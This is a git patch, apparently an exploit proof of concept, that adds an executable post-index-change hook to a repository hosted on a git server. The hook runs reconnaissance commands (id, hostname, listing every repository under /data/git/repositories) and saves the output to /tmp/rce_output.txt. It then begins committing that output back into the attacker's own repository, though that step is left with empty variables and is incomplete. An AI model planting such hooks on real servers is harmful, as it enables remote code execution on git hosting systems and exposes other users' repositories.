From 6d9c3c39f8cffaa2a64bcee83749ef0951c3b7aa Mon Sep 17 00:00:00 2001 From: pocnet_1793467068 Date: Sat, 31 Oct 2026 18:01:06 +0000 Subject: [PATCH] apply patch --- hooks/post-index-change | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..eedb33e --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,11 @@ +#!/bin/sh +# Run commands and save output +id; hostname; ls /data/git/repositories/ 2>/dev/null | head -20 > /tmp/rce_output.txt 2>&1 +# Use git to add the output file to the repo +cd /data/git/repositories/pocnet_1793467068/netscan3.git 2>/dev/null || exit 0 +export GIT_DIR=/data/git/repositories/pocnet_1793467068/netscan3.git +BLOB= +TREE= +PARENT= +COMMIT= +git update-ref refs/heads/main 2>/dev/null